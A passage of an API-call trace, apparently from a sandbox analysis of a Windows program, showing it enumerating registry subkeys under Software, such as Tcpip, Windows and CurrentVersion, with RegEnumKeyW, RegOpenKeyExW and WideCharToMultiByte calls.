lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x119c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0250.984] RegEnumKeyW (in: hKey=0x38, dwIndex=0x66, lpName=0x119b9b8, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x119c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.984] RegEnumKeyW (in: hKey=0x38, dwIndex=0x67, lpName=0x119b9b8, cchName=0x104 | out: lpName="Speech") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x119c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0250.984] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x119b9b8, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x119c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0250.984] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x119b9b8, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x119c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0250.985] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x119b9b8, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0250.985] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x119b9b8, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x119c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0250.985] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x119b9b8, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x119c1a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0250.985] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x119b9b8, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x119c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0250.985] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x119b9b8, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x119c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0250.985] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x119b9b8, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x119c160, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0250.986] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x119b9b8, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x119c1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0250.986] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x119b9b8, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x119c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0250.986] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x119b9b8, cchName=0x104 | out: lpName="TPG") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0250.986] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x119b9b8, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0250.986] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x119b9b8, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0250.986] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x119b9b8, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x119c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x119b9b8, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x119c1a8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x119b9b8, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x119c160, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x119b9b8, cchName=0x104 | out: lpName="Updates") returned 0x0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x119b9b8, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x119c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x119b9b8, cchName=0x104 | out: lpName="VBA") returned 0x0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x119b9b8, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x119c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0250.987] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x119b9b8, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x119c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0250.988] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x119b9b8, cchName=0x104 | out: lpName="WAB") returned 0x0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x119c160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0250.988] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x119b9b8, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0250.988] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x119b9b8, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0250.988] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x119b9b8, cchName=0x104 | out: lpName="Windows") returned 0x0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0250.988] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0250.988] RegCloseKey (hKey=0x38) returned 0x0 [0250.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x119b9b8, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x119c160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0250.989] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0250.989] RegCloseKey (hKey=0xc4) returned 0x0 [0250.989] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x119b9b8, cchName=0x104 | out: lpName="App Management") returned 0x0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x119c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0250.989] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x119b9b8, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x119c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0250.989] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x119b9b8, cchName=0x104 | out: lpName="Applets") returned 0x0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0250.989] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x119b9b8, cchName=0x104 | out: lpName="Audio") returned 0x0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0250.989] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x119b9b8, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x119c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0250.989] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x119b9b8, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x119c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x119b9b8, cchName=0x104 | out: lpName="BITS") returned 0x0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x119b9b8, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x119c160, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x119b9b8, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x119c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0250.990] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x119b9b8, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, 